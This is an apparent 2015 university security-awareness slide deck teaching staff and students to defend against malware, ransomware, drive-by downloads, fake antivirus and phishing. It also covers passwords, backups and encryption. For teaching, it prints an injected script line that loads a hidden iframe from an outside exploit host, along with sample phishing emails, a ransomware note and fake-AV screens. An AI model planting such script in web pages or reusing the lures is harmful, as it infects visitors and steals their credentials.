Cyber Self-Defense

Staying Safe on the Internet

08/2015
Who am I?

- Derrius Marlin
  - Data Security Specialist
  - dmarlin@ufl.edu

UF Information Security Office

- Risk Management
  - risk assessments
  - security evaluations
- Threat Management
  - intrusion detection
  - network monitoring
- Vulnerability Management
  - vulnerability scans
  - penetration testing
- Incident Management
  - incident response
  - digital forensics services
Who are you?

- **Class Introductions**
  - Write your name on place card in front of you
  - College / Department / Unit survey
  - Faculty / Staff / Students
  - Any IT workers?

- **Participant Survey**
  - Self managed computers? How many?
  - Desktop or Laptops? (Tablets, SmartPhone)
  - What Operating Systems? (Windows, Mac, Linux)
Purpose

- Raise awareness of the threats to your computer and your personal data.
- Encourage user behavior that promotes Internet safety and discourage user behavior that can expose you to harm.
- Arm you with tools you can use to help you stay safe when interacting with the Internet.
Techno Talk – Geek Speak

IPv4 IPv6 sploit DNS TCP/IP DHCP ISP DSL clickjack router WI-FI SSID l33t FTP SMTP POP HTTP FQDN RDBMS MPS BLOG Java CGI PHP cookies CSS HTML SPAM HAM pwn MIME wiki WEP snort VoIP BTW IRC Bot IT NIC MAC RSS warez FTA LDAP 404 BLOB FAQ IDS XSS MD5 Exfiltration TTL n00b
In the news…

**OPM government data breach impacted 22 million people**

“The U.S. Office of Personnel Management, burglarized by suspected Chinese hackers, has completed its long-awaited damage assessment and more than 22 million people inside and outside government likely had their personal information stolen.”

“The data breach has been described as among the largest breaches of government data in the history of the United States.”

“The hack likely involved theft of detailed background security-clearance-related background information including victim’s **social security numbers**, as well as **names**, **dates and places of birth**, and **addresses**.”

“Stolen data included **1.1 million fingerprints**. In a *Mission Impossible* type scenario, thieves could create physical copies, then break into the fingerprint-locked devices of U.S. diplomats and government agents.”
What are the Threats?

- Malware Infections
  - viruses, trojans, ...
- Drive-by-Downloads
  - vulnerable software
- Social Engineering Attacks
  - phishing attacks, malware distribution
- Trusted Third-Party Compromises
  - banks, retailers, social media sites

What are the Targets?

- Your Identity
- Your Personal Privacy
- Your Data
- Your Computer
Safe from Whom? Who do I need protection from?

- Cyber Criminals
- Malicious Hackers
- Hacktivist
- Identity Thieves
- Nation State Actors
- Yourself

"They'll just attribute this to APT."
Malware...
Malicious Software

- Viruses
- Worms
- Trojans
- Exploits
- Botnets
- Backdoors
- Rootkits
- Spyware
- Fake Antivirus
- Crypto-Ransomware
- Keystroke Loggers
- Remote Access Trojans
Today’s Malware...

- is more criminally motivated, profit over prank
- uses more sophisticated infection vectors
- is more professionally written, exploit kits for purchase
- is highly dynamic, changing all the time
- targets users more than targeting computers
Common Infection Methods

- Drive-by Downloads
  - Web browsing
  - Visiting compromised websites
  - Malvertising on trusted websites
  - Exploitation of unpatched web browser plug-ins

- Social Engineering
  - “The clever manipulation of the natural human tendency to trust”
  - Hack the User
  - An act of psychological manipulation
Ransomware is malware that infects a computer and then restricts a user’s access to the infected computer.

Crypto-Ransomware encrypts user’s files and holds them hostage until a ransom is paid, typically in the range of $100-$300.

- Encrypts not only local files but network attached storage locations.
- Many variants; CryptoLocker, CryptoWall, TorrentLocker, CryptoFortress, …
Watch out for Crypto-Ransomware

- **Methods of Infection**
  - **Social engineering**: requires user interaction to deliver the malware
    - Phishing email attachment or web link
  - **Drive-by download**: malware is downloaded onto the hard drive and run without requiring user interaction
    - Visiting compromised websites
    - Malvertising from trusted websites
Malware Infection via Social Engineering

From: Microsoft <update@microsoft.com>
Subject: Windows 10 Free Update

Upgrade to Windows 10 for free

Windows 10 is familiar and easy to use. It includes an improved Start menu and is designed to startup and resume fast. Plus, it’s packed with new innovations including Microsoft Edge—a new browser. Your personal files and apps you’ve installed will all be waiting for you. We’ve designed the upgrade to be easy and compatible with the hardware and software you already use.

Don’t miss out as this free offer won’t last forever. Upgrade today. Follow the attached installer and get started.

Upgrading from Windows 7 or Windows 8? You will love Windows 10!

1 attachment: Win10Installer.zip 734 KB
Your personal files are encrypted by CTB-Locker.

Your documents, photos, databases and other important files have been encrypted with strongest encryption and unique key, generated for this computer.

Private decryption key is stored on a secret Internet server and nobody can decrypt your files until you pay and obtain the private key.

You only have 96 hours to submit the payment. If you do not send money within provided time, all your files will be permanently crypted and no one will be able to recover them.

Press ‘View’ to view the list of files that have been encrypted.

Press ‘Next’ for the next page.

WARNING! DO NOT TRY TO GET RID OF THE PROGRAM YOURSELF. ANY ACTION TAKEN WILL RESULT IN DECRYPTION KEY BEING DESTROYED. YOU WILL LOSE YOUR FILES FOREVER. ONLY WAY TO KEEP YOUR FILES IS TO FOLLOW THE INSTRUCTION.

View  95:59:29  Next >>
**In the news...**

**Fraudsters Have Stepped up Their Social Engineering Tactics**

“The security industry has a common saying: ‘Your system is only as secure as its weakest link,’ which is usually followed by, ‘Humans are the weakest link.’”

“In recent months, the security team of Trusteer, an IBM company, has discovered several new malware variants that have stepped up their social engineering techniques.”

“Regarding crypto-ransomware, CryptoWall 3.0 has been public enemy number one. With the rapid launching of new campaigns skyrocketing in number on a daily basis, recent estimates state that the CryptoWall group has raked in upward of 18 million US dollars.”

want a victim who attempts to access the Spanish version of an e-commerce site to see an English version. This type of attention to detail takes a lot of time and effort from malware authors, but it is necessary to trick victims into believing the fake pages are legitimate. One malware variant took this approach a step further.
Defend Yourself Against Social Engineering Attacks

- **Stop, Think, Click** (or don’t)
  - Be skeptical. Exercise common sense
  - Don’t automatically trust every web link or email attachment presented to you

- **Use Reputation Reporting sites/tools**
  - If you’re not sure, verify…
    - VirusTotal
      - [virustotal.com/#url](http://virustotal.com/#url)
    - McAfee SiteAdvisor
      - [siteadvisor.com](http://siteadvisor.com)
    - BrightCloud URL/IP Lookup
      - [www.brightcloud.com/tools](http://www.brightcloud.com/tools)

---

**paypal.com**

**Webroot Content Classification and Web Reputation**

<table>
<thead>
<tr>
<th>Category</th>
<th>Reputation Index</th>
<th>Status</th>
</tr>
</thead>
<tbody>
<tr>
<td>Financial Services</td>
<td>81</td>
<td>Trustworthy</td>
</tr>
</tbody>
</table>

**Web Reputation Analysis**

<table>
<thead>
<tr>
<th>Factor</th>
<th>Value</th>
<th>Impact</th>
</tr>
</thead>
<tbody>
<tr>
<td>Infections (past 12 months)</td>
<td>No</td>
<td></td>
</tr>
<tr>
<td>Popularity</td>
<td>High</td>
<td></td>
</tr>
</tbody>
</table>
| Age                         | 93 months (Established) | }
Watch out for Fake AV
(Rogue AV, RansomWare)

Fake AntiVirus is malware that appears to be beneficial from a security perspective but provides no security, generates misleading alerts and attempts to lure users into participating in fraudulent transactions.

- **Methods of Infection**
  - **Social engineering**: requires user interaction to deliver the Fake Antivirus – email attachment or web link
  - **Drive-by download**: malware is downloaded onto the hard drive and run without requiring user interaction
Malware Infection via Drive-by-Downloads

1. User with vulnerable computer visits compromised Web page with invisible IFrame
2. IFrame embedded in page secretly loads another page
3. The page redirects to another page containing an exploit
4. If the exploit succeeds, malware downloads from another server to the victim's computer

0. User neglects to update their Java, Flash, Acrobat software
Drive-by-Downloads

document.write('<iframe src=http://www.grad.ru/stats?counter=3 width=0 height=0></iframe>');

<table>
<thead>
<tr>
<th>Hostname</th>
<th>Content Type</th>
<th>Size</th>
<th>Filename</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.grad.ru">www.grad.ru</a></td>
<td>text/javascript</td>
<td>30 kB</td>
<td>?=_wMw1mLiBnb8RjM2AzN4YDM0UzN5cTN89SZ5cTO3MGM5QDMvXZrNWawj3bs92YvkHdyFGcfRmcz8ycq9yYpxmY1B3LtVncVZ2L1jnlKmcn5yd3d3LvoDcORHa8NnZ</td>
</tr>
<tr>
<td><a href="http://www.grad.ru">www.grad.ru</a></td>
<td>application/x-java-archive</td>
<td>10 kB</td>
<td>?f=a&amp;k=5797540687062433</td>
</tr>
<tr>
<td><a href="http://www.grad.ru">www.grad.ru</a></td>
<td>text/html</td>
<td>17 bytes</td>
<td>?f=s&amp;k=5797540687062411</td>
</tr>
<tr>
<td><a href="http://www.grad.ru">www.grad.ru</a></td>
<td>text/html</td>
<td>17 bytes</td>
<td>?f=s&amp;k=5797540687062411</td>
</tr>
<tr>
<td><a href="http://www.grad.ru">www.grad.ru</a></td>
<td>audio/mpeg</td>
<td>100 kB</td>
<td>?f=npb.mp3&amp;k=5797540687062444</td>
</tr>
</tbody>
</table>

Java exploit

EXE payload
WARNING! 6 infections found.

It's highly recommended that you remove all the threats from your computer immediately. Viruses can cause a theft of your personal information from bank cards.

Recommendation: Sign Up in Live Security Professional

Quick scan

Scan processing...

Processed files: C:\WINDOWS\system32\cmmon32.exe
Run time: 00:00:01
Tested files: 34
Amount of data tested: 3,0 Mb

Infected: 0

Your protection against viruses and spyware is weak. You need to sign up in order to stay protected. Viruses can steal your personal information from bank cards.

© Live Security Professional

Last scan: 12.03.2013 14:55
Total scans: 1
Registry e-mail: unregistered
Choose your subscription type:

1 Year Software License  
59.95 USD

2 Year Software License  
69.95 USD

Lifetime Software License, 60% discount!
89.95 USD

Total Price: 89.95 USD

Terms
You are purchasing Live Security Platinum. This is a one-time charge and you will not be re billed.

Payment Information

Credit Card information
Payment Type: Credit Card
Card Number: [Redacted]
Expiration Date: 12/2019
CVV2 Number: [Redacted]
First Name: [Redacted]
Last Name: [Redacted]

Contact Information
Email ID: [Redacted]
Country: [Redacted]
State: [Redacted]
Zip/Post-code: [Redacted]
Address: [Redacted]
City: [Redacted]
Telephone: [Redacted]

Fields marked with * sign required.

SECURE PURCHASE

IMPORTANT: Please allow up to two minutes for live processing of your order. Don't click BACK or CANCEL while waiting.
“On July 28th, a massive hack infiltrated Yahoo’s ad network for at least seven days. With more than 6.9 billion visitors to Yahoo’s Web site every month, the attack constituted one of the farthest reaching malware attacks ever recorded.”

“Malvertising can be a difficult threat to confront because malicious ads do not require any type of user interaction to execute their payloads. Just visiting a Web site that contains malicious advertisements can be enough to trigger an infection.”

“The number of malvertising attacks spiked in the first half of this year, registering a 260 percent increase over the same period in 2014, confirming that digital ads have become the preferred method for distributing malware.”
Defend Yourself Against Drive-by-Downloads

- **Run the latest version**
  - Update your browser (IE, Firefox, Chrome, Safari, Mosaic)
  - Update your browser’s plug-ins (Java, Flash, Silverlight)

- **Enable click-to-play in your web browser**
  - Block browser plugin activity by default

- **Keep your plugins up to date**
  - Qualys BrowserCheck
    - browsercheck.qualys.com
  - Secunia PSI (personal software inspector)
    - secunia.com/vulnerability_scanning/personal
Update Your Software

Most vulnerable and most targeted software

In the News… Microsoft Patch Tuesday

For this month's Patch Tuesday (08/11/2015), Microsoft issued 14 bulletins fixing almost five-dozen separate vulnerabilities in Windows, Windows Server, Internet Explorer, and Office, among other products.

Exploitation of some of these vulnerabilities could allow remote code execution or elevation of privileges and information disclosure.

- Microsoft Office suite  (08-11-2014)

“Mozilla updated Firefox to version 39.0.3 on Thursday to address a critical vulnerability that has been exploited in the wild.”

“The company learned of the zero-day flaw on Wednesday morning after being informed by a user that an ad displayed on a Russian news website had been serving an exploit designed to search for sensitive files on the victim’s system and upload them to a remote server.”
Defend Yourself Against Drive-by-Downloads

- **What to do with Java?**
  - If you don’t need it, **uninstalled it**
  - If you are not sure if you need it, **uninstalled it**
  - If you do need it, disable it in your web browser when you’re not using it

- **What to do with Javascript?**
  - Consider using a browser plugin that allows you to selectively enable/disable Javascript on a site-by-site basis
    - NoScript (Firefox)  [noscript.net](http://noscript.net)
    - SafeScript (Chrome)  [goo.gl/EG8EP](http://goo.gl/EG8EP)
Update Your Software

Secunia PSI
Personal Software Inspector

- Scans your Windows computer for outdated software and either updates them automatically or provides direct download links to the most recent versions

- Secunia PSI can be downloaded for free from:
  http://secunia.com/vulnerability_scanning/personal
## Secunia PSI

<table>
<thead>
<tr>
<th>Program</th>
<th>#</th>
<th>Program State</th>
<th>Threat Rating</th>
<th>Detected Version</th>
<th>Install Solution</th>
</tr>
</thead>
<tbody>
<tr>
<td>Google Chrome 13.x</td>
<td>1</td>
<td>End-of-Life</td>
<td></td>
<td>13.0.782.220</td>
<td>Install Solution</td>
</tr>
<tr>
<td>Adobe Flash Player 10.x (ActiveX)</td>
<td>1</td>
<td>Insecure</td>
<td></td>
<td>10.3.183.7</td>
<td>Update delayed - program</td>
</tr>
<tr>
<td>Adobe Flash Player 10.x (NPAPI)</td>
<td>1</td>
<td>Insecure</td>
<td></td>
<td>10.3.181.26</td>
<td>Running update</td>
</tr>
<tr>
<td>Mozilla Firefox 3.6.x</td>
<td>1</td>
<td>Insecure</td>
<td></td>
<td>3.6.17</td>
<td>Update delayed - program</td>
</tr>
<tr>
<td>Connection Manager Administration Kit (CM...)</td>
<td>1</td>
<td>Patched</td>
<td></td>
<td>7.2.7600.16385</td>
<td>Up-to-date</td>
</tr>
<tr>
<td>Google Chrome 14.x</td>
<td>1</td>
<td>Patched</td>
<td></td>
<td>14.0.835.186</td>
<td>Up-to-date</td>
</tr>
<tr>
<td>LastPass 1.x</td>
<td>1</td>
<td>Patched</td>
<td></td>
<td>1.72.0.0</td>
<td>Up-to-date</td>
</tr>
<tr>
<td>Microsoft .NET Framework 2.x</td>
<td>1</td>
<td>Patched</td>
<td></td>
<td>2.0.50727.4955</td>
<td>Up-to-date</td>
</tr>
<tr>
<td>Microsoft .NET Framework 3.x</td>
<td>1</td>
<td>Patched</td>
<td></td>
<td>3.0.4506.4926</td>
<td>Up-to-date</td>
</tr>
<tr>
<td>Microsoft .NET Framework 4.x</td>
<td>1</td>
<td>Patched</td>
<td></td>
<td>4.0.30319.1</td>
<td>Up-to-date</td>
</tr>
<tr>
<td>Microsoft Access 2010</td>
<td>1</td>
<td>Patched</td>
<td></td>
<td>4.0.4750.1000</td>
<td>Up-to-date</td>
</tr>
<tr>
<td>Microsoft Excel 2010</td>
<td>1</td>
<td>Patched</td>
<td></td>
<td>14.0.6106.5005</td>
<td>Up-to-date</td>
</tr>
<tr>
<td>Microsoft Internet Explorer 9.x</td>
<td>1</td>
<td>Patched</td>
<td></td>
<td>9.0.8112.16421</td>
<td>Up-to-date</td>
</tr>
<tr>
<td>Microsoft Malicious Software Removal Tool</td>
<td>1</td>
<td>Patched</td>
<td></td>
<td>4.0.5301.0</td>
<td>Up-to-date</td>
</tr>
<tr>
<td>Microsoft Office Groove 2010</td>
<td>1</td>
<td>Patched</td>
<td></td>
<td>14.0.6106.5000</td>
<td>Up-to-date</td>
</tr>
<tr>
<td>Microsoft OneNote 2010</td>
<td>1</td>
<td>Patched</td>
<td></td>
<td>14.0.4763.1000</td>
<td>Up-to-date</td>
</tr>
</tbody>
</table>
Update Your Software

AppFresh for Mac

- Keeps all applications, widgets, preference panes and application plugins installed on your Mac up-to-date
- Provides a central place to control the software updates available to your Mac, integrating most common update checking

- AppFresh for Mac license is $14.99

http://metaquark.de/appfresh/mac
Antivirus Software

Antivirus (AV) software is designed to protect your computer against malware

- No Antivirus software can protect against all malware. There is no silver bullet

- Nevertheless, the security of your computer is substantially enhanced when antivirus software is installed and working properly

- Antivirus software should be updated automatically and updated often

- Running more than one Antivirus product at a time does not make you more secure (active vs on-demand)
Phishing Threats

- **Phishing** is a social engineering attack which attempts to obtain login credentials or personal information under the guise of a trustworthy entity, usually through email.

- These emails usually come with a link to a web page which is almost always a ‘fake’ version of the legitimate site. The fake web page is used by the attacker to harvest the victim’s login credentials or personal information.
Phishing Threats

How to catch a Phish

- Phishing messages usually...
  - attempt to build credibility by spoofing a real company, brand, or even a university
  - create a false urgency requiring a quick response – threaten to close your account if you don’t reply
  - insist on a call to action - click a link or reply with information
Phishing Threats

Hey, I just met you, and this is craaazy, but here’s my password, so hack me maybe?
Your mailbox has exceeded the limit of 20 GB, which is set by your manager. You are currently 20.9 GB, you will not be able to create new e-mail to send or receive again until you re-validate your mailbox. To validate your mailbox, you can click University of Florida/upgrade.

Thank you,

University of Florida system administrator
Phishing Example

Your mailbox has exceeded the limit of 20 GB, which is set by your manager. You are currently 20.9 GB, you will not be able to create new e-mail to send or receive again until you re-validate your mailbox. To validate your mailbox, you can click University of Florida/upgrade. Thank you,

University of Florida system administrator
Phishing Example

From: owner-uf-abuse-l@LISTS.UFL.EDU on behalf of University of Florida system administrator <webmaster81_4@libero.it>
To: owner-uf-abuse-l@LISTS.UFL.EDU
Cc:
Subject: webmail upgrade

Your mailbox has exceeded the limit of 20 GB, which is set by your manager.
You are currently 20.9 GB, you can no longer send or receive mail and your mailbox will be unavailable.

Click to follow link

University of Florida/upgrade

Thank you,

University of Florida system administrator
Phishing Example

$ host tidomana.com
tidomana.com has address 103.6.196.93
Phishing Example

Firefox Web Browser Warning

Reported Web Forgery!

This web page has been reported as a web forgery and has been blocked based on your security preferences.

Web forgeries are designed to trick you into revealing personal or financial information by imitating sources you may trust.

Entering any information on this web page may result in identity theft or other fraud.

Get me out of here!  Why was this page blocked?

Ignore this warning
Phishing Example

You are viewing the newly redesigned GatorLink login page. Find out more at news.it.ufl.edu.

GatorLink Username

Password

Login

© University of Florida. Gainesville, FL 32611
For assistance, contact the UF Computing Help Desk.
This page was last updated March 3, 2013.
Phishing Example

You are viewing the newly redesigned GatorLink login page. Find out more at news.it.ufl.edu.

GatorLink Username

GatorLink Username

Password

Password

Login

Change Password

Forgot Password

Create Account

Trouble Signing On?
Phishing Example

From: Payroll Service [mailto:payrollservice@ufl.edu]
Sent: Friday, January 31, 2014 4:05 PM
Subject: Your UFL Pay Increase

Hello,

The Human Resources department recently approved 25 employees for salary increment of which you were among. This increment will take effect on your next pay check in February.

Follow the steps below through the link to confirm the approval:

http://support.ufl.edu/employee-compensation

Sincerely,

Human Resources
University of Florida
Phishing Example

From: Payroll Service [mailto:payrollservice@ufl.edu]
Sent: Friday, January 31, 2014 4:05 PM
Subject: Your UFL Pay Increase

Hello,

The Human Resources department recently approved 25 employees for salary increment of which you were among. This increment will take effect on your next pay check in February.

Follow the steps below through the link

http://support.ufl.edu/employee-compensation

Sincerely,

Human Resources
University of Florida
Phishing Impact @ UF

- Compromised accounts are used to facilitate mass spamming campaigns by blasting large quantities of email through UF’s mail servers.

- Phishing scammers accessed victim’s direct deposit information via my.ufl.edu and made unauthorized changes to redirect victim paychecks to bank accounts under the control of the scammers.

- Attackers can gain unauthorized access to the inside of UF’s network using the UF VPN service.
Ancient Nigerian Proverb

Give a man a stolen credit card and he'll eat like a king for a day.

Teach a man to phishing and he'll be set for life.
Defending against Phishing Threats

Don’t take the bait!

- Be suspicious by default of any email with an urgent request for personal information.
- Don't use the links in an email. Manually enter the address in your web browser.
- Ensure that you're using a secure website when submitting credit card or other sensitive information via your Web browser.
- Never give out account or personal information by email.

UF administrators will never ask for your password
A YEAR IN SECURITY BREACHES

When it comes to security breaches, it’s been a rough year. Millions of accounts have been exposed by hackers digging for loopholes in the security systems of some of the biggest sites on the web. Here are some of the biggest consumer hacks in the past year:

- **SONY 1**
- **SEGA**
- **SONY 2**
- **CITIGROUP**
- **ZAPPOS**
- **GLOBAL PAYMENTS**
- **TWITTER**
- **LINKED IN**
- **LAST.FM**
- **FORMSPRING**
- **YAHOO**
- **GOOGLE**
- **HOTMAIL**
- **AOL**
- **GAMIGO**
- **APPLE**

**2011**

- **SONY 1**
- **SEGA**
- **SONY 2**
- **CITIGROUP**
- **ZAPPOS**
- **GLOBAL PAYMENTS**
- **TWITTER**
- **LINKED IN**
- **LAST.FM**
- **FORMSPRING**
- **YAHOO**
- **GOOGLE**
- **HOTMAIL**
- **AOL**
- **GAMIGO**
- **APPLE**

**2012**

- **SONY 1**
- **SEGA**
- **SONY 2**
- **CITIGROUP**
- **ZAPPOS**
- **GLOBAL PAYMENTS**
- **TWITTER**
- **LINKED IN**
- **LAST.FM**
- **FORMSPRING**
- **YAHOO**
- **GOOGLE**
- **HOTMAIL**
- **AOL**
- **GAMIGO**
- **APPLE**

**Source:** www.dashlane.com
02/2015 - **Anthem**, second-largest health insurer in the U.S. – 80 million names, dates of birth, social security numbers, addresses, phone numbers, email addresses and employment information.

07/2015 – **UCLA Health Systems** – 4.5 million names, social security numbers, medical records, ID numbers and addresses
LinkedIn, Lastfm, eHarmony Accounts Compromised; Users Should Use Strong Passwords

“LinkedIn announced that six million account passwords were posted on the Internet. The hacking continued as music website Lastfm and dating website eHarmony joined the list of sites with accounts, especially passwords, exposed on the Internet."

“The passwords were encoded in what is called cryptographic hashes which hackers worked quickly to crack. To crack passwords, hackers often use automated tools.”

“Stop using simple passwords. Any password that can be found in the dictionary is useless. The worst passwords are dictionary words or those with a small number of changes to words that are in the dictionary, said Mr. Kocher.”

“People tend to use the same password across multiple sites. Hackers can use cracked passwords from one account to gain access into someone’s corporate, banking or email accounts that share the same password.”
Someone discovered my PASSWORD...

Now I have to rename my dog
Choosing a Good Password

- Choose a combination of letters, numbers and symbols, mixing uppercase and lowercase letters.
- Be sure your password doesn’t form a real word that can be looked up in a dictionary.
- Choose a combination that makes sense to you and is easy for you to remember but isn’t obvious to others.
- Consider a password based on a phrase:
  - “To be or not to be” becomes…
    - tbontb or Tb0nTb or 2b | !2b
- Consider using a passphrase instead of a password … “tobe,ornot,tobe,the?”
- Entropy + length = strong password.
- Create a unique password for each site.
A password recipe is a custom formula that combines a good base password, padding characters and site specific information to form a strong, personalized and unique password.

**Amazon.com**
base + padding + domain = tbontb%amzn

**Facebook.com**
padding + base + domain + padding = #tbontbfcbk#

**www.campuscu.com**
padding + base + padding + domain + padding = $$Tb0nTb;ccu$$

**Other Examples:**
ILoveDietCoke, ILoveDietCoke+fb, I<3D.Coke!fb
213SW2nd$$Ggle!, ..213SW2nd+BoA.., !213SW2nd-fb!
Passwords are like Underwear...

- Change yours often
- Don’t share them with others
- The longer the better
- Be mysterious
- Don’t leave yours lying around

Text reprinted with permission from the Office of Policy and Education, University of Michigan/Ann Arbor
Password Managers

Do you have more passwords than you can remember? It may be time to begin using a password manager.

Key Features:

- One "master" password to remember
- Stores all site-specific passwords encrypted
- Auto-fill login credentials or auto-login to sites
- Auto-form filling for common form elements
- Includes built-in password generators
- Cross platform support, including mobile devices
- Can be used to store secure notes
Password Managers

**LastPass** - [lastpass.com](http://lastpass.com)
- Free for personal use
- Mobile device support is $12/yr
- Auto-sync passwords in the “cloud”
- Universal access & cross-platform support

**1Password** - [agilebits.com](http://agilebits.com)
- Licensed per OS - $50 for one OS, $70 bundle
- Mobile device support is $15
- Sync across devices using DropBox
Consider two-step authentication for added security

- When logging in to your account you first enter your password as normal, but then you’re prompted to enter a code sent to your mobile phone as a text message.

- This one-time password (OTP) is only valid for a limited time, usually no more than five minutes.

- Supported Services
  - Google / Gmail
  - Dropbox
  - Yahoo! Mail
  - Twitter
  - Facebook
  - Paypal
  - Box.com
  - and many more…
Data Security

No system is completely secure. Things happen. Defend yourself.

- If you have important files stored on your computer, back them up
- Remember the 3-2-1 Rule…
  - 3 backup copies
  - 2 storage media types
  - 1 off-site backup site
- Consider using encryption software when storing sensitive data
Data Backup Options

- Backup to a second internal hard drive
  - out of sight, set it up and forget it

- **Backup to an external hard drive**
  - some external USB drives come bundled with backup software and can automate the task

- **Backup to CD-ROM, DVD, or Blue-Ray**
  - inexpensive, one-off backups, manual process

- **Backup to USB Flash drives**
  - inexpensive, limited capacity, highly portable, available with support for hardware encryption
Online Backup Options

- **Online Backup Services**
  - CrashPlan
  - Carbonite
  - Mozy

- **Online Cloud Storage Services**
  - SpiderOak
  - Google Drive
  - Amazon Cloud Drive
  - Wuala
  - Dropbox
  - Apple iCloud Drive

- **TNO – Trust No One**
  - Use private-key, pre-Internet encryption

**Note:** Never store unencrypted UF Restricted Data in the cloud
Data Security in the Cloud

1. No Encryption
2. Transport Encrypted
3. Transport Encrypted + Cloud Storage Encrypted

Who has the encryption keys?
“A physician was traveling abroad in 2010 when his laptop was stolen. There was no evidence that the patient data stored on the computer were accessed. “

“HHS and the hospital announced Sept. 17 that they had reached a settlement and that the hospital would pay the $1.5 million and take corrective action to help ensure the security of mobile devices.”

“In an age when health information is stored and transported on portable devices such as laptops, tablets and mobile phones, special attention must be paid to safeguarding the information held on these devices.”

“If the stolen laptop had been encrypted, the hospital would not have had to report the incident.”
Data Encryption

Most of us store many types of information on our computers that we don’t want other people to see, such as:

- Credit-card information
- Social Security numbers
- Private correspondence
- Personal details
- Sensitive company information
- Bank-account information
- Tax Returns

The best way to ensure that our information remains private is to store it encrypted.
Encryption is the process of converting data from plaintext into a form called ciphertext.

The ciphertext contains all the information of the original plaintext, but is not in a format readable by a human or computer without the proper mechanism to decrypt it; it should resemble random gibberish to those not intended to read it.

Don’t forget your encryption key, password or passphrase. You won’t see your data again without it.
Data Encryption

Encryption Example:

```plaintext
MIL7AwYJKoZIhvcNAQcDoIL69DCC+vACAAQAxgekwgeYCAqAwTzA7MRywFAYDVQqD
EwlNaWnoYWVsIERhdmlzMSEwHwYJKoZIhvcNAQkBFhJtZGF2aNXAbXhjc29mdC5j
b20CEHehT8i6qqpaSVC8CoLF9UswDQYJKoZIhvcNAQEBBQQAEgY/1SfuAUznKr2g
A9e3dRTUpqSwRntMLFWYFHucPJeZ3SIIlIbG02sULKVMtGRC0a+nx67WEvqjGYS
t1vnMNShQX0txVY+wEnLPWhr7PQInDl4Xuz4PDCcpTM50Vj2g4k9WWB/R9uSUsi
xSVunaTlzQ0d2Lut/a20sy Ug4lVemzCC+f0GCSqGSIb3DQEHAUBggqhkiG9wOD
BwQIowRYsSzR47mAgvnYJbgqplpU/b+NQn2p5Z4oM/qeCxytI1t9Tb5I9gIqf2ym
ngS7foTrgoONR7/zvE5RTaqTV0V0a5MP+d7ub5l0Drvxufu0p6FSjNRzISLC4dWe/
T1VcbGnUbBeLQnsMm9VetYwL06jNNBFwyK++2JXXGQ+dwY/5EqxgQVIBbJBUFL
qWqTzZgrQFHCQ0cABWnUFU0l4sysz9ixN/1mj2Jgx5jL0bRJ/enY/6zivb7M9ic4a/
qetEQ5DnZolhiW8Fnrk6M+CgiCyoX1YvXeEzZk1yJnQsV26SkNs1QTrAzGsoBy
iUwskFM/GgzFzfN8Vr/YsXGkhqljmC3UmC79Nlns31Gvv6AV1smtJ4dRF75iu82/
GjUN+N3wDI5jod+tpvymiTT+2a7/jt/sngSBmXTqAPeM4bnfZBVgXCsdFAGeTF
m2DVEzo5GaCDSqeneMGZmAfycopHw82nNK77g8/ilkP1qWrG53a/HsvRhoai2sRJL
x08+0b3v3G9/170wRKZXEToScwmmUDzAWUDn6e/bkuQXfc8l18gYS5c2dlqo+WAC
ZfxKx3J4Acwm8PzfufwL/iZ7irdkz6vuIFrAicJ4KHzMaawmmv150HzNzxo+Drj
```
Data Encryption Tools

- Whole Disk Encryption
  - Windows BitLocker  (Windows)
  - FileVault  (Mac)
  - VeraCrypt  (Windows, Mac, Linux)

- Encrypted Vaults, Folders or Files
  - VeraCrypt  (Windows, Mac, Linux)
  - WinZip, 7-Zip, AES Crypt  (Windows, Mac, Linux)

- Hardware Encrypted Portable Drives
  - USB flash drives  (Kingston DataTraveler Vault)
  - External hard drives  (Aegis Padlock)
This policy applies to all mobile computing and storage devices used by the University of Florida constituency in the performance of their duties, and to all University of Florida Restricted Data when accessed through, or stored on, mobile computing and storage devices, regardless of the device’s ownership.

**Encryption of Data**

All laptops and portable personal computers storing restricted data must utilize whole disk encryption.

**Encryption of Data**

All smartphones and PDAs that access University of Florida data must be configured to encrypt any restricted data in persistent storage.
Wireless Security @ Home

› Spend 10 minutes getting to know your device. Read the manual!

› Change your default administrator password

› Enable Encryption (WEP, WPA, WPA2)

› Change the default SSID or disable broadcasting

› MAC Address Filtering

› Disable WiFi Protected Security (WPS) if possible
Wireless Security @ Home

- Consider using OpenDNS as your domain name service. See: opendns.com

- OpenDNS identifies known, infected websites and stops any device connected to your home wireless network from accidentally visiting these infected websites.

- OpenDNS gives you the ability to filter and block objectionable content.

- No software to install. Just update the DNS setting on your router.
Wireless Security on the Road

- Turn off your wireless adapter when you’re not using it.
- Verify that the SSID belongs to the public wi-fi hotspot provider – watch out for the evil twin.
- Configure your wi-fi settings to NOT auto-remember networks you’ve visited.
- Use encryption
  - https:// SSL for websites
  - UF VPN Service
    - https://vpn.ufl.edu
Questions?

- Derrius Marlin
  - dmarlin@ufl.edu
  - security@ufl.edu

- Additional Resources
  - http://security.ufl.edu
  - http://www.staysafeonline.org